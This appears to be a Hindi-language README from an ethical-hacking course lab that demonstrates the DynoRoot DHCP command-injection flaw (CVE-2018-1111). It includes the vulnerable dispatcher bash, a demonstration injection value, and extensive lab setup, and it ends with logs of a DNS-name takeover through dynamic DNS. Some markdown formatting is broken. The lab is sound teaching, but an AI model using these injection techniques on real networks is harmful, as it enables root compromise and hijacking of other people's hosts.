
DynoRoot (CVE-2018-1111) के साथ DHCP शोषण
यह प्रोजेक्ट Fedora और RedHat मशीनों की एक ज्ञात कमजोरी को प्रदर्शित करता है, जो डायनेमिक होस्ट कॉन्फ़िगरेशन प्रोटोकॉल (DHCP) के असुरक्षित क्लाइंट-साइड कार्यान्वयन से संबंधित है। एक दुष्ट DHCP सर्वर एक दुर्भावनापूर्ण पेलोड के साथ DHCP ऑफ़र तैयार कर सकता है, जो पीड़ित मशीन पर रूट शेल में निष्पादित होता है।
इस कमजोरी का श्रेय Felix Wilhelm को दिया जाता है और इसे CVE-2018-1111 या "DynoRoot" के नाम से जाना जाता है।
डायनेमिक होस्ट कॉन्फ़िगरेशन प्रोटोकॉल (DHCP) नेटवर्क वाली प्रणालियों में अक्सर अनदेखा किया जाने वाला घटक है। इसकी भूमिका उन होस्ट मशीनों के गतिशील कॉन्फ़िगरेशन की अनुमति देना है जो किसी मौजूदा नेटवर्क से जुड़ती हैं। सबसे सामान्य उपयोग नए जुड़े होस्ट को IP पता निर्दिष्ट करना और उसे अन्य नेटवर्क तक पहुँचने के लिए मौजूदा रूट्स की जानकारी देना है। अतिरिक्त विकल्प निर्दिष्ट किए जा सकते हैं, उदाहरण के लिए स्थानीय DNS सर्वर का पता और उसके द्वारा सेवा प्रदान किया जाने वाला ज़ोन, या बूट फ़ाइल का स्थान।
आइए उस 4-चरणीय प्रोटोकॉल का विश्लेषण करें जिसका पालन तब किया जाता है जब कोई नया होस्ट ईथरनेट या वायरलेस कनेक्शन के माध्यम से भौतिक रूप से जुड़ने के बाद किसी नेटवर्क में शामिल होना चाहता है।
DISCOVER संदेश प्रसारित (broadcast) करता है।OFFER के साथ उत्तर देता है, जिसमें शामिल होता है: IP पता, नेटवर्क
सबमास्क, राउटर पता, और अन्य विकल्प।REQUEST के साथ उत्तर देता है, जिसमें आधिकारिक रूप से प्रस्तावित IP पते को लीज़ (lease) पर लेने का अनुरोध किया जाता है।ACK के साथ समाप्त करता है, जो दर्शाता है कि क्लाइंट को निर्दिष्ट समय अवधि के लिए IP पते का उपयोग करने की अनुमति है।प्रारंभिक आदान-प्रदान के बाद, क्लाइंट केवल एक और REQUEST संदेश भेजकर लीज़ का नवीनीकरण कर सकता है। सर्वर क्लाइंट के IP और MAC पते के साथ लीज़ की मौजूदगी की जाँच करेगा और ACK के साथ उत्तर देगा।
ध्यान देने योग्य कुछ बातें:
DISCOVER चरण को छोड़कर सीधे किसी पते का REQUEST भी कर सकता है। यह उन परिदृश्यों में
आम है जिनमें क्लाइंट पहले भी नेटवर्क से जुड़ चुका है और पिछला पता याद रखता है। इस मामले में, सर्वर पते की उपलब्धता सत्यापित करता है और अनुरोध को ACK करता है, या यदि लीज़ उपलब्ध नहीं है, तो NACK भेजता है।RELEASE संदेश भेज सकते हैं कि पता अब
उपलब्ध है। हालाँकि, प्रोटोकॉल द्वारा यह अनिवार्य नहीं है और सर्वर समय-समय पर समाप्त हुई लीज़ को वापस एकत्र करेगा।OFFER नहीं दे पाएगा।OFFERs प्राप्त होते हैं, तो
वह केवल एक को स्वीकार करेगा; अन्य सर्वर प्रसारित REQUEST को देखेंगे और प्रस्ताव को अमान्य कर देंगे।कमजोरी /etc/NetworkManager/dispatcher.d/11-dhclient में स्थित है, जिसे क्लाइंट द्वारा DHCP के माध्यम से प्राप्त विकल्पों को पार्स करने और सेट करने के लिए निष्पादित किया जाता है।
declare एक bash बिल्टिन है, जो बिना तर्कों के उपयोग किए जाने पर सभी घोषित चरों को सूचीबद्ध करता है।grep DHCP से संबंधित सभी चरों को फ़िल्टर करता है।while read opt DHCP चरों पर एक-एक करके पुनरावृत्ति करता है, कुछ पार्सिंग करता है और
प्रत्येक विकल्प के लिए export new_optionname=value जैसी एक पंक्ति प्रिंट करता है।eval के माध्यम से निष्पादित किए जाते हैं।```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### सामान्य संचालन
सामान्य परिस्थितियों में, कोड ठीक काम करेगा और नए DHCP विकल्पों को पार्स करेगा।
उदाहरण के तौर पर, निम्नलिखित कोड:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
ये दो export स्टेटमेंट प्रिंट करेगा, जिन्हें eval द्वारा मूल्यांकित किया जाना है:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### कोड इंजेक्शन
हालाँकि, असुरक्षित `eval` के कारण, बैश कमांड इंजेक्ट करना संभव है:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
इसके परिणामस्वरूप echo Hacked! का मूल्यांकन होगा:```text
[1] 1541
Hacked!
### स्रोत
- [एक्सप्लॉइट डेटाबेस प्रविष्टि](https://www.exploit-db.com/exploits/44890)
- [RedHat घोषणा](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable ब्लॉग पोस्ट](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub रिपॉज़िटरी](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter घोषणा](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## सेटअप
इस एक्सप्लॉइट को प्रदर्शित करने के लिए न्यूनतम सेटअप में सिर्फ दो मशीनें होती हैं: `victim` मशीन
जो Fedora 28 चला रही है, और एक `attacker` मशीन। इस सेटअप में, हमलावर को बस एक
DHCP सेवा प्रदान करनी होती है और victim के कनेक्शन का इंतज़ार करना होता है।
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>न्यूनतम एक्सप्लॉइट सेटअप।</figcaption>
</figure>
अधिक यथार्थवादी सेटअप में मशीनों को एक निजी नेटवर्क पर रखा जाता है, जहाँ एक तीसरी मशीन, `gateway`,
को हानिरहित DHCP सर्वर और बाहरी इंटरनेट के गेटवे के रूप में कॉन्फ़िगर किया जाता है।
इस सेटअप में, हमलावर को हमला करने से पहले victim को वैध DHCP सर्वर से कनेक्ट होने से रोकना होता है।
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>एक गेटवे मशीन वाला निजी नेटवर्क सेटअप जो DHCP, राउटर और फ़ायरवॉल के रूप में कार्य करती है।</figcaption>
</figure>
निम्नलिखित अनुभागों में हम:
1. VirtualBox इंस्टॉल करेंगे
2. 3 वर्चुअल मशीनें बनाएंगे: `gateway`, `attacker`, और `victim`
3. मशीनों पर OS इंस्टॉल करेंगे (उपयोगकर्ता, नेटवर्क और SSH एक्सेस)
4. गेटवे को VirtualBox द्वारा प्रदान किए गए वर्चुअल आंतरिक नेटवर्क के लिए हानिरहित DHCP सर्वर
होस्ट करने हेतु कॉन्फ़िगर करें
5. हमले के लिए Python निर्भरताएँ इंस्टॉल करेंगे
सीधे [कार्रवाई में कूदने](#performing-the-attack) और मैन्युअल सेटअप को छोड़ने के लिए, यह संभव है
कि `ansible` फ़ोल्डर में [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) स्क्रिप्ट चलाया जाए, जो (लगभग)
स्वचालित रूप से वर्चुअल मशीनें बनाकर उन्हें
[Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) का उपयोग करके कॉन्फ़िगर करेगी।
बस सुनिश्चित करें कि `setup.sh` लॉन्च करने से पहले Ansible और VirtualBox इंस्टॉल हों।
### प्रारंभिक चरण
#### VirtualBox इंस्टॉल करें
निम्नलिखित निर्देश [आधिकारिक इंस्टॉलेशन गाइड](https://www.virtualbox.org/wiki/Downloads) से हैं।
`/etc/apt/sources.list` में यह पंक्ति जोड़ें:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
virtualbox और एक्सटेंशन पैक इंस्टॉल करें:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Ansible इंस्टॉल करें (वैकल्पिक)
[Ubuntu के लिए आधिकारिक गाइड](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu) से:```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
इस अनुभाग में हम SSH क्रेडेंशियल बनाएँगे जिनका उपयोग हम मशीनों में लॉग इन करने के लिए करेंगे। SSH कॉन्फ़िग फ़ाइल में होस्ट प्रविष्टियाँ जोड़ने से हमें बाद में कुछ टाइपिंग बचेगी।
बिना पासफ़्रेज़ के SSH कुंजी बनाएँ:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
इन प्रविष्टियों को SSH config में जोड़ें (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
यह मशीन आंतरिक नेटवर्क पर पतों के पूल का प्रबंधन करने वाले हानिरहित DHCP सर्वर को होस्ट करती है। यह Ubuntu Server 18.04 के साथ ISC DHCP पैकेज पर आधारित है।
वास्तविक परिदृश्य में, यह मशीन एक राउटर (iptables) के रूप में भी कार्य करेगी और फ़ायरवॉल (UFW Uncomplicated Firewall) के रूप में नेटवर्क की मशीनों और बाहरी दुनिया के बीच। संभवतः, यह कुछ आंतरिक सेवाओं के लिए DNS सर्वर भी होस्ट करेगी (BIND9).
हम VirtualBox की कमांड-लाइन टूल्स का उपयोग करके वर्चुअल मशीन बनाएंगे, ताकि प्रक्रिया जितनी जल्दी हो सके दोहराई जा सके। अन्यथा, समान कॉन्फ़िगरेशन दर्ज करके ग्राफ़िकल इंटरफ़ेस के माध्यम से VM बनाना संभव है।
Ubuntu ISO डाउनलोड करें:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
VM बनाएं:
- नेटवर्क इंटरफ़ेस 1 VirtualBox के डिफ़ॉल्ट NAT नेटवर्क से जुड़ा है
- नेटवर्क इंटरफ़ेस 2 `intnet` आंतरिक नेटवर्क से जुड़ा हुआ है\
(MAC पते में "d" DHCP के लिए है)
- होस्ट पर `600x` पोर्ट से वर्चुअल मशीन में SSH पोर्ट तक पोर्ट फ़ॉरवर्डिंग```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
अगर कुछ गलत हो जाए:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### ओएस इंस्टॉल
जब हम पहली बार मशीन बूट करते हैं, तो हमें इंस्टॉलेशन चरणों का पालन करने के लिए एक वर्चुअल डेस्कटॉप की आवश्यकता होती है। हम
वर्चुअल मशीन को हेडलेस मोड में शुरू कर सकते हैं और कनेक्ट करने के लिए `rdesktop-vrdp` का उपयोग कर सकते हैं। यदि VirtualBox
किसी डेस्कटॉप कंप्यूटर पर चल रहा है, तो वर्चुअल मशीन को GUI से लॉन्च करना आसान हो सकता है, लेकिन
यह विधि दूरस्थ VirtualBox होस्ट के साथ भी काम करेगी।```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Configuration parameters for the installer:
gatewaygatewaygat192.168.0.1 enp0s8 पर

इंस्टॉलेशन के बाद, शटडाउन करें, iso हटाएँ और VRDE अक्षम करें:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH लॉगिन
आसान पहुंच के लिए हम ऊपर बनाई गई SSH कुंजी को `gateway` मशीन में स्थापित कर सकते हैं:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
यदि किसी कारण से इंस्टॉलेशन के दौरान enp0s8 नेटवर्क इंटरफ़ेस कॉन्फ़िगर नहीं किया गया था,
तो यह कॉन्फ़िगरेशन /etc/netplan/00-installer-config.yaml में लिखें:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
और नेटवर्क कॉन्फ़िगरेशन को अपडेट करें:```
sudo netplan apply
ip addr show dev enp0s8
सेवा पुनः प्रारंभ करें:```bash sudo systemctl restart isc-dhcp-server
DHCP घटनाएँ `/var/log/syslog` में लॉग की जाती हैं।
हम प्रासंगिक प्रविष्टियों को इस प्रकार हाइलाइट कर सकते हैं:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
अगर हम अन्य मशीनों की स्थापना के दौरान gateway को चालू रखते हैं,
तो वे DHCP कॉन्फ़िगरेशन स्वचालित रूप से अपना लेंगे।
sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
`/etc/bind/named.conf.options` को संपादित करें:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
/etc/bind/named.conf.local को संपादित करें:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
बाइंड (bind) के लिए केवल-पठनीय (read-only) फ़ोल्डर में फ़ॉरवर्ड और बैकवर्ड ज़ोन फ़ाइलें बनाएँ:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
जाँच चलाएँ और रीस्टार्ट करें:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
जाँच करें कि यह काम करता है```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
DNS अपडेट के लिए सममित कुंजी बनाएँ:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
कुंजी को `/etc/bind/named.conf.local` में शामिल करें:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
मूल ज़ोन फ़ाइल को bind द्वारा लिखने योग्य फ़ोल्डर में कॉपी करें, server रिकॉर्ड हटाएँ:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
जाँच चलाएँ और पुनः आरंभ करें:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
DNS प्रविष्टि को मैन्युअल रूप से अपडेट करके जाँच करें कि यह काम करता है।
निम्न कार्य करते समय, त्रुटियों के लिए tail -f /var/log/syslog पर नज़र रखें।
अंत में, नई प्रविष्टियाँ हटा दें अन्यथा DHCP अपडेट विफल हो जाएँगे:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### DHCP कॉन्फ़िग
DNS प्रविष्टियों को स्वचालित रूप से अपडेट करने के लिए DHCP कॉन्फ़िगर करें:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
DHCP कॉन्फ़िगरेशन की जाँच sudo dhcpd -t से की जा सकती है।
जब होस्टनाम server वाली मशीन शुरू होती है, तो /var/log/syslog इस प्रकार दिखना चाहिए:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
जब `fedora` होस्टनाम वाली कोई अन्य मशीन शुरू की जाती है, तो उसे एक IP मिलता है लेकिन
`update-policy` के कारण वह DNS में नहीं जोड़ी जाती है:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
समस्या यह है कि DHCP होस्टनाम server वाली किसी भी मशीन को DNS में पंजीकृत करेगा,
जब तक वह पहली हो। यदि कोई हमलावर डुप्लिकेट server
होस्टनाम के साथ DHCP के माध्यम से कनेक्ट करने का प्रयास करता है, तो DHCP ध्यान देगा और DNS को अपडेट करने से इनकार कर देगा।```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
लेकिन यदि वैध `server` कुछ समय के लिए डाउन हो जाता है, तो उसका लीज़ समाप्त हो जाता है और रिकॉर्ड हटा दिए जाते हैं।
फिर एक हमलावर प्रारंभिक DHCP एक्सचेंज के दौरान होस्टनाम के रूप में `server` प्रदान करके
चुपके से अंदर घुस सकता है।```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->